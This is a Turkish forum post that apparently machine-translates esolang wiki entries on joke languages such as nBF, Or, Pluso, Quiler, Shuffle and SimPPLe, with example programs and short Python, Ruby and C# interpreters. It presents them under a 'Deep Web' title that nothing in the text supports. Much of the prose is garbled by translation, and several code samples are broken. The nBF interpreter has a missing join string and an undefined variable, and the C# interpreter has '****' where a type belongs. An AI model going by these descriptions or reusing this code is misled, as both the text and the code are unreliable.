Deep Web'de Kullanılan Programlama Dilleri ~ sixtynine ~ PART 3

S

sixtynine

Yeni üye
15 Nis 2020
8
0
#NucleotideBF (nBF)
## Açıklama
NükleotidBF (nBF), IUPAC nükleotid koduna dayanan bir Brainfuck türevi olan Maurice Ling tarafından oluşturulur. Brainfuck'taki 8 işlemden sadece 5'ini kullanır ve döngü işlemi yoktur.

NBF komutları 2 sınıfa ayrılabilir - deterministik işlemler ve rasgele işlemler. Deterministik işlemler A (artış), T (azalma), C (geri) ve G (ileri) şeklindedir.

Gevşek Dairesel Brainfuck (LCBF) ile aynı yorumlayıcıya dayanarak, bant veya dizi doğrusal yerine daireseldir (bir halka listesi). İşaretçi kasetin "ucunda" olduğunda, bir artış ("A") kaseti başlangıca taşır. Benzer şekilde, işaretçi kasetin "başlangıcında" azaltıldığında, işaretçi sonuna kadar gider.

## Komutlar
nBF Komutu Brainfuck komutu Açıklama
G> İşaretçiyi sağa hareket ettirir
C <İşaretçiyi sola hareket ettirir
A + İşaretçinin altındaki bellek hücresini artırma
T - İşaretçinin altındaki bellek hücresini azalt
. . İşaretçide hücre tarafından belirtilen karakteri çıktılar
R A veya G arasında rastgele
Y C veya T arasında rastgele
S G veya C arasında rastgele
W A veya T arasında rastgele
K G veya T arasında rastgele
M A veya C arasında rastgele
B C veya G veya T arasında rastgele
D A veya G veya T arasında rastgele
H A veya C veya T arasında rastgele
V A veya C veya G arasında rastgele
N A veya T veya C veya G arasında rastgele

## Tercüman
### Python2
Kod: 
   import random
   
   def increment(array, apointer, inputdata, output, source, spointer):
       array[apointer] = array[apointer] + 1
       return (array, apointer, inputdata, output, source, spointer)
   
   def decrement(array, apointer, inputdata, output, source, spointer):
       array[apointer] = array[apointer] - 1
       return (array, apointer, inputdata, output, source, spointer)
   
   def forward(array, apointer, inputdata, output, source, spointer):
       return (array, apointer + 1, inputdata, output, source, spointer)
   
   def backward(array, apointer, inputdata, output, source, spointer):
       return (array, apointer - 1, inputdata, output, source, spointer)
   
   def call_out(array, apointer, inputdata, output, source, spointer):
       output.append(array[apointer])
       return (array, apointer, inputdata, output, source, spointer)
   
   def random_op(array, apointer, inputdata, output, source, spointer):
       r = random.random()
       if source[spointer] == 'R' and r < 0.5:
           return increment(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'R' and r >= 0.5:
           if (apointer + 1) == len(array): 
               return (array, 0, inputdata, output, source, spointer)
           else:
               return forward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'Y' and r < 0.5:
           return decrement(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'Y' and r >= 0.5:
           if apointer == 0: 
               return (array, len(array) - 1, inputdata, output, source, spointer)
           else:
               return backward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'S' and r < 0.5:
           if (apointer + 1) == len(array): 
               return (array, 0, inputdata, output, source, spointer)
           else:
               return forward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'S' and r >= 0.5:
           if apointer == 0:
               return (array, len(array) - 1, inputdata, output, source, spointer)
           else:
               return backward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'W' and r < 0.5:
           return increment(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'W' and r >= 0.5:
           return decrement(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'K' and r < 0.5:
           return decrement(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'K' and r >= 0.5:
           if (apointer + 1) == len(array): 
               return (array, 0, inputdata, output, source, spointer)
           else:
               return forward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'M' and r < 0.5:
           return increment(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'M' and r >= 0.5:
           if apointer == 0: 
               return (array, len(array) - 1, inputdata, output, source, spointer)
           else:
               return backward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'B' and r < 0.33:
           if (apointer + 1) == len(array): 
               return (array, 0, inputdata, output, source, spointer)
           else:
               return forward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'B' and r >= 0.33 and r < 0.67:
           return decrement(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'B' and r >= 0.67:
           if apointer == 0:
               return (array, len(array) - 1, inputdata, output, source, spointer)
           else:
               return backward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'D' and r < 0.33:
           return increment(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'D' and r >= 0.33 and r < 0.67:
           return decrement(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'D' and r >= 0.67:
           if (apointer + 1) == len(array):
               return (array, 0, inputdata, output, source, spointer)
           else:
               return forward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'H' and r < 0.33:
           return increment(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'H' and r >= 0.33 and r < 0.67:
           return decrement(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'H' and r >= 0.67:
           if apointer == 0:
               return (array, len(array) - 1, inputdata, output, source, spointer)
           else:
               return backward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'V' and r < 0.33:
           return increment(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'V' and r >= 0.33 and r < 0.67:
           if (apointer + 1) == len(array):
               return (array, 0, inputdata, output, source, spointer)
           else:
               return forward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'V' and r >= 0.67:
           if apointer == 0:
               return (array, len(array) - 1, inputdata, output, source, spointer)
           else:
               return backward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'N' and r < 0.25:
           return increment(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'N' and r >= 0.25 and r < 0.5:
           return decrement(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'N' and r >= 0.5 and r < 0.75:
           if (apointer + 1) == len(array): 
               return (array, 0, inputdata, output, source, spointer)
           else:
               return forward(array, apointer, inputdata, output, source, spointer)
       elif source[spointer] == 'N' and r >= 0.75:
           if apointer == 0:
               return (array, len(array) - 1, inputdata, output, source, spointer)
           else:
               return backward(array, apointer, inputdata, output, source, spointer)
   nBF = {'A': increment,
          'T': decrement,
          'G': forward,
          'C': backward,
          'R': random_op,
          'Y': random_op,
          'S': random_op,
          'W': random_op,
          'K': random_op,
          'M': random_op,     
          'B': random_op,
          'D': random_op,
          'H': random_op,
          'V': random_op,
          'N': random_op,
          '.': call_out
          }
   
   def interpret(source, functions,
                function_size=1, inputdata=[],
                array=None, size=30):
       spointer = 0
       apointer = 0
       output = list()
       if array == None:
           array = [0] * size
       if len(array) > size:
           array = array[0:size]
       if len(source) % function_size != 0:
           source = source + '!'*(function_size - \
                                  len(source) % function_size)
       tokens = functions.keys()
       source = .join([x for x in source if x in tokens])
       while spointer < len(source):
           try:
               token = source[spointer:spointer+function_size]
               (array, apointer, inputdata, output,
                    source, spointer) = functions[token](array, apointer,
                                                         inputdata, output,
                                                         source, spointer)
           except KeyError:
               print ' '.join(['Unknown function: ',
                               source[i:i+function_size],
                               'at source position',
                               str(i)])
           if apointer > size:
               apointer = apointer - size
           if apointer < 0:
               apointer = size + apointer
           spointer = spointer + function_size
       return (array, apointer, inputdata, output, source, spointer)
   
   if __name__ == '__main__':
       print interpret('AAAAGGTTTCAAA', nBF)
       print interpret('AAAAGGTTTCAAARRYYSKVDVDBBHVNVH', nBF)


#OFC
## Açıklama
Bir İşlev Kodu, Kullanıcı tarafından icat edilen tek talimatlı bir turing-tarpittir: A. Tek komutu:
Kod: 
[x]=content of register x
if(r,a,b)
If[#r]==0,goto line a.Else,flip[#r] and goto line b.

## Hesaplamalı Sınıf
OFC, yalnızca 1'den 0'a ayarlanabilen (yalnızca 0 biti 1'e çevrilemez) yalnızca son derece fazla bellek bitine sahiptir. Bu haliyle, eğer bellek tamamen sıfırlara başlatılırsa, bir dizi goto ifadesine dönüşür; ve belleğin farklı şekilde başlatılmasına izin verilse bile, herhangi bir programın ne kadar süre çalışabileceğine dair sınırlı bir sınır vardır.


#OneFuck
## Açıklama
OneFuck, beynini klonlayan ezoterik bir programlama dilidir, ancak burada sadece bir hücre vardır.

## Örnekler
Selam Dünya!
Kod: 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.!
++++++++++++++++++++++++++++++++++++++++++++.!
++++++++++++++++++++++++++++++++.!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.!
+++++++++++++++++++++++++++++++++.!
++++++++++.!


#Or
## Açıklama
veya - Fungot tarafından 14: 00'da bilinmeyen, ezoterik bir programlama dilidir. Yayınlanmadan önce bu dilin ne kadar süredir geliştirildiği bilinmemektedir. Bir talimatı olan uygulamalı bir sonlu durum otomatıdır. "veya" mantıksal ile karıştırılmamalı veya basitçe bir işleçtir.

veya yığın, bant veya kuyruk yoktur, bunun yerine çıktı ve hesaplamalara daha dinamik bir yaklaşım getirir. Program akışını kontrol etmek için bir dizi talimat kullanmak yerine, yürütme sırası her zaman aynı ve basittir. Bir değişkeni veya veri yapısını tanımlamanın bir yolu yoktur ve kaynak kodu bilgisayarın tam olarak yapacağı şeydir, bu da birçoğunun kavraması zor olan bir kavramdır.

Sadece bir talimat var, eğer böyle diyebilirsen, - f. Ayılar yapan çok ilginç özelliklere sahiptir ve yazmayı çok kolay, ancak daha sonra. Bu talimat olmayan herhangi bir şey yok sayılır veya bazı uygulamalarda hataya neden olur. Vaka duyarlılığı, orijinal yazar tarafından belirtilmediğinden, karar vermek için uygulamaya bağlıdır. Kesin olarak söyleyebileceğimiz tek şey, standart sözdiziminin her iki harfin de küçük harf olması gerektiğidir.

şeyler girmenin, STDIN kitaplıklarının, harici bir dosyanın okunmasının, hatta komut satırı girişinin hiçbir yolu yoktur. Bu sorunlu olsa da, avantajları vardır. Örneğin, kaynak kodu girdi olarak alınabileceğinden, uygulamaları yazmak daha kolaydır.
## IRC Kütük
Aşağıda, şu anda ham IRC günlüğü olarak mevcut olan tüm bilgiler verilmiştir. Mantar daha fazla bilgi sızdırdığında etrafta kalırsanız, lütfen bu makaleyi genişletin.
Kod: 
14:00 < mroman_> fungot: Fnordy morning to you
14:00 < fungot> mroman_: what's the rationale for that? they need more of this silliness? :) i don't know squat about the language
14:00 < mroman_> fungot: I know the language.
14:00 < fungot> mroman_: but i don't
14:00 < mroman_> fungot: Shall I teach you?
14:00 < fungot> mroman_: is that or?
14:01 < mroman_> fungot: Yeah, the language is called 'or'.
14:01 < fungot> mroman_: the command to push false is ' f'
14:01 < mroman_> fungot: Exactly. To push false to the stack in 'or' you just use the f command prefixed with a space.

## Örnekler
İttir "false "
Kod: 
Push f.

Quine
Kod: 
f

Polyglot yineleme sorgusu (2 dil)
Kod: 
f

## Tercüman
### Python3
Kod: 
def run(p):
    i = 0
    stack = []
    while i < len(p):
        if p[i] == " ":
            i += 1
            if p[i] == "f":
                stack.append(False)
        i += 1
    return stack

print(run(" f"))

### Keg
Kod: 
?( =[f=[0.

### RegExr Regex Expression
Kod: 
[fF]


#Pizza
## Açıklama
Pizza, Nicholas Smith tarafından 1 Temmuz 2018'de yanlış programlama dili ile ilgili BBC sorusuna bir aksaklık olarak oluşturulan bir şaka programlama dilidir. Yalnızca bir talimat içerir: "H3110", "0WTPWT" adlı harici bir metin dosyasında "H3110" yazdırır. Txt". GlobalGameDevelopersForum sitesinde April Fool olarak tasarlanmıştır.

## Komutlar
Sözdizimi çok basit: Talimat "READ".

## Örnekler
Kod: 
READ

## Tercüman
### Python3
Kod: 
     i = input("Enter Command: ")
     if i != 'READ':
           print("")
     else:
           file = open("0WTPWT.txt","w") 
           file.write("H3110")
           file.close()


#Pluso
## Açıklama
Pluso, User: Icepy tarafından 2014 yılında oluşturulan ezoterik bir programlama dilidir. Bu programlama diline pluso denir, çünkü iki komutu vardır: artı ve çıktı. Tabii ki o çıktı için duruyor. Pluso'daki tek veri yapısı bir akümülatördür.

## Komutlar
Komut Eylem
p akümülatörü arttırır, modulo 27
o Pluso karakter kümesine göre, akümülatörün değerini çıktı
Başvuru uygulaması, giriş dosyasındaki komut olmayan karakterleri yok sayar.

## Örnekler
Selam Dünya
Kod: 
pppppppo
ppppppppppppppppppppppppo
pppppppoo
pppo
ppppppppppppo
pppppppppppppppppppppppo
pppppppppppppppppppo
pppo
pppppppppppppppppppppo
pppppppppppppppppppo

## Tercüman
### Python3
Kod: 
def run(file):
    acc = 65
    file = open(file)
    prgm = file.readlines()
    for line in prgm:
        for cmd in line:
            if cmd == 'p':
                acc += 1
            elif cmd == 'o':
                char = chr(acc)
                print(char, end='')
            if acc == 91:
                acc = 32
            elif acc == 33:
                acc = 65

### Ruby
Kod: 
eval'c=1;'+ARGF.read.gsub(/./,'p'=>'c=(c+1)%27;','o'=>'putc c!=0?c+64:32;')


#PP_TIBSA
## Açıklama
PP_TIBSA, geçerli bir programın bulunduğu David Catt (kullanıcı: David.werecat) tarafından yapılan ezoterik bir programlama dilidir.

## Komutlar
PP_TIBSA'da sadece bir geçerli program var. Diğer tüm programlar yorumlayıcının çökmesine neden olur. Geçerli program tercümanın kendini fark etmesine neden olur ve bu süre zarfında "Merhaba dünya!" ve kendini öldürür.


#Quiler
## Açıklama
Quiler 2013'te oluşturulan bir şaka ezoterik programlama dilidir. Kullanıcı: Sgeo'nun bir fikri vardı, Kullanıcı: ais523, fikri uygulayan ve spesifikasyonu yazan mümkün olan en az programlama dili olurdu ve Kullanıcı: ehird adını verdi.

Quiler'in semantiği basittir: herhangi bir giriş programı göz önüne alındığında, bir Quiler derleyicisi onu yok sayar ve orijinal derleyiciyle aynı dili hedefleyen bir Quiler derleyicisi çıkarır. Bu nedenle, tüm olası girdi programları Quiler'deki Quiler derleyicileridir; ve herhangi bir dildeki tüm toplam programlar Quiler'ı hedefleyen Quiler derleyicileridir. Ayrıca, tüm quinler aynı dilde yazılmış Quiler derleyicileri ve hedefleme (Quiler derleyicisinin quine olmasına gerek olmamasına rağmen). Bu nedenle, Quiler derleyicilerinin elde edilmesi nispeten kolaydır.

Quiler dışında bir dildeki toplam programın Quiler derleyicisi olmamasının mümkün olduğunu unutmayın. Tanımdaki sonsuz gerileme en kapsayıcı bir şekilde yorumlansa bile, aynı dili M'yi hedefleyen M dilinde yazılmış L dili için A derleyicisi A derlemesi, M dilinde L için derleyici olan bir program B derler. M'den farklı bir dili hedefler, o zaman N'de B tarafından M'de yasadışı olarak çıkarılabilecek en az bir yasal program olduğu sürece, A bir Quiler derleyicisi değildir. Yukarıdaki cümle başınızı incitirse, çapraz derleme çapraz derleyicilerinden kaçınmaya çalışmanızı öneririz. (Ve asla gcc'nin inşa sistemine bakmıyoruz.)

Yukarıdakilerin bir yan etkisi, bir Quiler yorumlayıcısının mutlaka bir Quiler derleyicisi olmasıdır. (Ve tam tersi.)

## Örnekler
Haskell'i hedefleyen bir Quiler derleyicisi:
Kod: 
#!/usr/bin/perl -w
use strict;
my $pref = <<'EOP'; my $haskell = <<'EOH'; my $core = <<'EOC';
#!/usr/bin/perl -w
use strict;
my $pref = <<'EOP'; my $haskell = <<'EOH'; my $core = <<'EOC';
EOP
main = putStr . program $ ("Haskell", program history) : history

program h = core ++ show core ++ "\n\nhistory = " ++ show h ++ "\n"

core = "main = putStr . program $ (\"Haskell\", program history) : history\n\nprogram h = core ++ show core ++ \"\\n\\nhistory = \" ++ show h ++ \"\\n\"\n\ncore = "

history = [("Perl","
EOH
chop $haskell; print $haskell;
my $perl = $pref x 2 . "EOP\n$haskell\nEOH\n${core}EOC\n$core";
$perl =~ s/(["\\])/\\$1/g;
$perl =~ s/\n/\\n/g;
print $perl . "\")]\n";
EOC
chop $haskell; print $haskell;
my $perl = $pref x 2 . "EOP\n$haskell\nEOH\n${core}EOC\n$core";
$perl =~ s/(["\\])/\\$1/g;
$perl =~ s/\n/\\n/g;
print $perl . "\")]\n";


#Quite
## Açıklama
Areallycoolusername tarafından üretilen bir dil. Bu yararlı bir dil yaratma girişimidir.

## Komutlar
Bu dil şu ana kadar yalnızca yazdırma ve yorumları desteklemektedir. Her zaman kullandığım C ++ aksine C # uygulanır. İşte tercüman.

## Tercüman
### C#
Kod: 
using System;

namespace Quite {
		
public class Program  {
			
public static **** Main(String[] args) {
	
string Qnput;
Qnput = Console.ReadLine();
	     	         
switch(Qnput) {
case "PrintV":
string jnput = Console.ReadLine();
Console.WriteLine(jnput);
break;
default:
Console.WriteLine("Quite the contrary to what we were expecting, my good fellow!");
break;
case "@":
break;
} 
         		
}
			
}
	
}


#Rapture
## Açıklama
Rapture, dünyanın 21 Mayıs 2011 18: 00'da sona ereceği tahmininden esinlenilen bir dildir. nokta üzerinde (İncil garanti eder!) Bu şekilde, dilde tüm zamanlama, belirli olayların gelecekte belirli gerçek zamanlı tarihlerde gerçekleştirileceği tahminleri yapılarak yapılır. Sözü edilen tarih kaçınılmaz olarak yürütülmeden geçtiğinde, program gerçekleşmediği için ayrıntılı bir teolojik mazeret gösterecektir. (örneğin prime_sieve () başlayamadı çünkü İsa samimi dualarımızı duydu ve CPU'yu büyük yükünden kurtardı.)

## Fikirler
Sabitler tanrısaldır, değişkenler insan yapımıdır.
Rapture başladığında Hıristiyan değişkenler cennete gönderilir ve tek tek stdout'a çıkarılır. Ancak günahkâr değişkenleri büyük çöp toplanana kadar dünyada kalır.
Bazı bağlamlar saf, diğer bağlamlar günahkardır. Saf bir bağlam günahkâr hale gelebilir.
İsa geldiğinde program sona eriyor. İsa asla gelmeyecekse, program sonsuza dek sürecek (tıpkı Tanrısız bir evrenin yaptığı gibi)
Dize değişkenleri yalnızca King James Incili'nden ayetler içerecek şekilde ayarlanabilir - bunu yapmamak FalseTeachingException özel durumu oluşturur. Bu konuda yardım için standart kütüphaneye son derece işlevsel ve özenli bir İncil nesnesi dahildir. Diğer dillere çeviriler yoktur, çünkü bu tek bir gerçek baskının bütünlüğünü bozar.
Çok biçimlilik yasaklanmıştır - Evrim Teorisi yanlış, gülünç bir öğretidir. Her çeşit ayrı oluşturulur.
Tahminler tarafından oluşturulan çeşitli iş parçacıklarının eşzamanlılığını kullanmaya zorlamak için bir tür mekanizma gereklidir, aksi takdirde eğlenceli olan nedir?
'begat', işaretçi erişimi, özellik erişimi, yöntem çağrısı gibi tek bir deyimde zincirleme yapmanız muhtemel bir şey için anahtar kelime operatörü olarak kullanılmalıdır, böylece 'X begat Y begat Z begat Q ... '
Tahminler sadece tarihlerde değil, III.Dünya Savaşı'nın başlaması gibi belirli olaylara bağlı olarak yapılabilir
Tahmin için verdiğiniz zaman damgası ham sayı olarak ifade edilemez - (5 * 10 * 17) ^ 2 gibi bir ifadenin sonucu olmalıdır.
Rapture zaman dilimlerine (tanrının verdiği) saygı gösterir, ancak gün ışığından yararlanma zamanına (insan tarafından yapılan) uymaz.


#Rube Goldberg
## Açıklama
Rube Goldberg, yığın golf kullanıcısı Mega Man tarafından kod golf mücadelesi "Rube Goldberg" için oluşturulan bir dildir.

## Komutlar
Bu dilde, her program "Rube Goldberg" çıktısını verir (tırnak işaretleri olmadan).

## Tercüman
### Python3
Kod: 
print("Rube Goldberg")


#ShaFuck
## Açıklama
ShaFuck, neredeyse yazılması imkansız olması amaçlanan bir Brainfuck sürümüdür.

Bir ShaFuck programı, 1024'ten bir katı olan sıfırdan büyük bir uzunluktaki bayt dizisi olabilir. Her 1024 baytlık yığının SHA-1 toplamı hesaplanır ve daha sonra tüm SHA-1 toplamları birleştirilir. Bu SHA-1 toplamları dizisi, yorumlara izin verilmeyen uyarı ile Brainfuck kodu olarak yorumlanır. Bu nedenle, kaynaktaki her 1024 baytlık yığın, 20 Brainfuck işlemini temsil eder.

Gregor Richards tarafından yazılmış bir ShaFuck tercümanı Index of /eso/shafuck adresinde bulunabilir.


#Shuffle
## Açıklama
Shuffle, Kasım 2016'da Kullanıcı: Enoua5 tarafından oluşturuldu. Kart oyunu Savaşı oynayarak bir "kart destesi" nin talimatlarını okuyor.
.Deck dosyalarının UTF-8 olarak kodlanması gerektiğini unutmayın

## Komutlar
Sözdizimi
Geçerli karakterler
Şövalye kartlar hariç Unicode oyun kartları (U + 1F0A1 - U + 1F0DF) Shuffle komutlarını kodlar. Bu aralıktaki "ayrılmış" kartlar joker olarak yorumlanır. Diğer tüm karakterler yorum.

Güverte tanımı
İki deste birbirini takip eden iki satır sonu ile ayrılır. Çift sıra kesmeden önceki her şey Oyuncu Bir'in destesidir. Bundan sonraki her şey Oyuncu İki's. Bir karakter komut değilse, güverteye konulmaz.
Kartlar, ilk kartlar üstte olacak şekilde komut dosyalarında göründükleri sırayla destelere yerleştirilir.
Kartlar bir kereden fazla kullanılabilir ve tam deste olması gerekmez.

Sözdizimi hataları
Karışık modunda üç tür sözdizimi hatası vardır.
yeterli deste tanımlanmadı; çift ​​satır sonu olmadığında oluşur.
geçersiz güverte bölmesi; birden fazla çift satır kesmesi olduğunda oluşur
destede kart yok; en az bir destede geçerli kart yoksa oluşur
Koşu
Kart anlamı
Shuffle, komut olarak oynanan iki kartın takımlarını alır. Komutlar aşağıdaki tabloda tanımlandığı gibidir. Soldaki takım Oyuncu One'ın kartı, üstteki takım Oyuncu İki'nin.

X Maça Kalp Diamond Club
Maça İşaretçiyi sağa hareket ettirir. İşaretçiyi aşağı hareket ettirin. İşaretçiyi yukarı taşı. İşaretçiyi sola hareket ettirir.
Kalp Geçerli hücrenin değeri sıfırsa, sonraki komutu NOP olarak yorumlayın. Sonraki n komutlarını NOP olarak yorumlayın. Burada n, Oyuncu Bir'in kartının değeridir. Bir sonraki komutu NOP olarak yorumlayın. Geçerli hücrenin değeri sıfırsa, sonraki n komutlarını NOP olarak yorumlayın. Burada n, Oyuncu Bir'in kartının değeridir
Diamond Player One'ın kartının değerini geçerli hücreden çıkarın Geçerli hücreye bir tane ekleyin Mevcut hücreden bir tane çıkarın Player One'ın kartının değerini geçerli hücreye ekleyin
Club Kullanıcı girdisini 8 bit karakter biçiminde alın ve değeri geçerli hücreye kaydedin. Geçerli hücrenin değerini int olarak çıktılar. Geçerli hücrenin değerini 8 bit karakter olarak çıktılar. 8-bit işaretsiz int şeklinde kullanıcı girdisi alın ve değeri geçerli hücreye kaydedin.
Bir joker çalınırsa (ve NOP olarak yorumlanmazsa), program sona erer.

Kart değerleri
Kart Değeri
Joker 0
Ace 1
2 2
3 3
4 4
5 5
6 6
7 7
8 8
9 9
10 10
Jack 11
Kraliçe 12
Kral 13
"Oynanış"
Her turun başında, her iki oyuncu da kartı destelerinin üstünde oynayacaktır. Bu iki kart daha sonra talimat olarak çalıştırılır. Hangi oyuncu daha yüksek değer kartına sahip olursa olsun, oynanan kartların her ikisini de destelerinin altına eklenir ve altta daha yüksek değerli kart bulunur. Bir sonraki tur oynanır.
Kravat kırma
Her iki oyuncunun da aynı değerde kart oynaması durumunda, her oyuncu bir "bahis" yığını oluşturur. İki oyuncu daha sonra destelerinin üstünden, her biri üç kart yerleştirinceye kadar bahis destelerinin altına kartlar ekleyecektir. Bir oyuncu son kartıysa bahislerine kart eklemez. Bahislere eklenen altı (her oyuncudan üç) kartın komutları çalıştırılmaz.
Daha sonra her biri bahislerinin altına bir kart daha ekler. Bu son iki kart dağıtılır. Daha sonra en son yerleştirilen iki kartın değerleri karşılaştırılır. Kim daha yüksek değer kartına sahipse, kazık yığınları kendi altına eklenir; kazanan kazık kazık kaybetme kazık altında. Bir sonraki tur oynanır.
Kartlar bir kez daha aynı değere sahipse, oyuncular bahis yığınlarını temizlemeden kravat kırma işlemini tekrarlar. Bu, bir kazanan kararlanana veya bir oyuncu kart bitene kadar devam eder.
Program sonu
İki oyuncudan birinde kart bittiğinde, program sona erer.

## Örnekler
Merhaba
Sondaki yeni satırla "Merhaba" yazdırır
Kod: 
🃎🃎🃎🃎🃎🃇🃞🃎🃎🃃🃞🃇🃞🃞🃃🃞🂮🃊🃞

🃑🃑🃑🃑🃑🃑🃁🃑🃑🃑🃁🃑🃁🃁🃑🃁🂡🃑🃁

1 bayt kedi
Karakter girdisi alır, sonra çıktı alır
Kod: 
🃒🃓

🂡🃁

çıkmak
Başlangıçta programdan çıkar
Kod: 
🃏

🃟

döngü
Sonsuza kadar döngüler.
Bu makaleyi okuyarak bulundu: http://math.pugetsound.edu/~mspivey/War.pdf
Kod: 
🂾

🂱🂾

Doğruluk-makine
Hayatim YOK.
Kod: 
🃑🃞🂲🂾🃏🂷

🃞🂱🂮🃁🂾🂱🂾


#SimPPLe
## Açıklama
SimPPLe (Basit Olasılıksal Programlama Dili) olasılıklı bir programlama dilidir. Bu dilde yazılmış programların çoğu, her yürütüldüğünde farklı sonuçlar üretir. Değişkenlere yalnızca rastgele değerler atayabilirsiniz. Kullanıcı tarafından girilen veriler bile sadece rastgele bir değer atayacaktır.

## Komutlar
Komut Açıklama
int [var] yeni bir tamsayı bildirir ve rastgele değerle başlatır
flt [var] yeni bir kayan nokta bildirir ve rastgele değerle başlatır
add [var] [var2] [var2] öğesine [var] ekleyin ve sonucu [var] içine kaydedin
sub [var] [var2] [var2] 'nin [var]' sini çıkartın ve sonucu [var] 'da kaydedin
mul [var] [var2] [var] ile [var] çarpıp [var] sonucunu kaydedin
div [var] [var2] [var] öğesini [var2] ile bölün ve sonucu [var] içine kaydedin
out [var] değişkenin değerini çıktılar
chrOut [var] değişkenin değerini karakter olarak çıktılar
intIn [var] değişkeni 0 ile kullanıcı girişi arasında rastgele bir değere ayarla
chrIn [var] değişkeni, kullanıcı girişinin 0 ve ASCII değeri arasında rastgele bir değere ayarlar
jmp [var] değişkenin değerine atla
jmpGtr [var] [var2] daha büyük bir değere atlar veya her iki değer de eşitse yürütmeye normal şekilde devam eder
jmpLss [var] [var2] daha düşük bir değere atlar veya her iki değer de eşitse yürütmeye normal şekilde devam eder
programı bitir

## Örnekler
Rastgele bir sayı çıkar
Kod: 
int y
out y

Kullanıcı ayar limitinde rastgele sayılara ekleme
Kod: 
intIn y
intIn x
add y x
out y

Rastgele miktarda rastgele karakter yazdırın
Kod: 
int y
int x
chrOut y
chrOut x
jmp y
jmp x

Sonsuz döngü
Kod: 
int j
jmp j

## Tercüman
### Python3
Kod: 
#Simple Probabilistic Programming Language - SimPPLe

import sys
import random

i = 0
b = 1
p = []
v = {}
with open(sys.argv[1]) as f:
	for l in f:
		if l[-1]=="\n":
			p.append(l[:-1])
		else:
			p.append(l)

class f:
	def int():
		v[arg1] = random.randrange(0x110000)
	
	def flt():
		v[arg1] = random.random()

	def out():
		print(v[arg1])

	def intIn():
		v[arg1] = random.randrange(input("int: "))

	def chrOut():
		print(chr(int(v[arg1]%95)+32))
		
	def chrIn():
		v[arg1] = random.randrange(ord(input("chr: ")))
		
	def add():
		v[arg1] += v[arg2] + random.randrange(0x110000)
	
	def sub():
		v[arg1] -= v[arg2] - random.randrange(0x110000)
		
	def mul():
		v[arg1] *= v[arg2] * random.randrange(0x110000)
		
	def div():
		v[arg1] /= v[arg2] / random.randrange(0x110000)
		
	def mod():
		v[arg1] %= v[arg2] % random.randrange(0x110000)

 	def jmp():
		global i
		i = v[arg1] % len(p)
		
	def prntln():
		print(i)
		
	def end():
		global b
		b = 0
	
	def jmpGtr():
		global i
		if v[arg1] > v[arg2]:
			i = v[arg1] % len(p)
		elif v[arg2] > v[arg1]:
			i = v[arg2] % len(p)
		else:
			pass
	
	def jmpLss():
		global i
		if v[arg1] < v[arg2]:
			i = v[arg1] % len(p)
		elif v[arg2] < v[arg1]:
			i = v[arg2] % len(p)
		else:
			pass
	
c = {
		"int"		:	f.int,			#declare new int and initialize with random value
		"flt"		:	f.flt,			#declare new float and initialize with random value
		"out"		:	f.out,			#output value of variable
		"intIn"		:	f.intIn,		#set variable to random value between 0 and userinput
		"chrOut"	:	f.chrOut,		#output value of variable as char
		"chrIn"		:	f.chrIn,		#set variable to random value between 0 and ASCII-value of userinput
		"add"		:	f.add,			#add two variables and save the result in the first
		"sub"		:	f.sub,			#subtract the second variable of the first and save the result in the first
		"mul"		:	f.mul,			#multiplicate two variables save the result in the first
		"div"		:	f.div,			#divide first variable by second variable and save the result in the first
		"mod"		:	f.mod,		
		"jmp"		:	f.jmp,			#jmp to value of variable
		"end"		:	f.end,			#end program
		"jmpGtr"	:	f.jmpGtr,		#jump to the greater value or continue execution normally if both are equal
		"jmpLss"	:	f.jmpLss		#jump to the lesser value or continue execution normally if both are equal
	}
	 
while i < len(p):
	l = p[i].split()
	i += 1
	try:
		arg1 = l[1]
	except:
		pass
	try:
		arg2 = l[2]
	except:
		pass
	c[l[0]]()
	if not b:
		break


#Single Four
## Açıklama
Single Four, Starla Insigna tarafından oluşturulan ezoterik bir programlama dilidir. Programlanması son derece zor (imkansız değilse de) olacak şekilde tasarlanmıştır.

## Komutlar
Single Four'un sadece üç yasal talimatı vardır.

- - Yorum karakteri. Yorum karakterini izleyen her şey yok sayılır.
(Boşluk) - Ayırma karakteri.
4 - Diğer her şey.
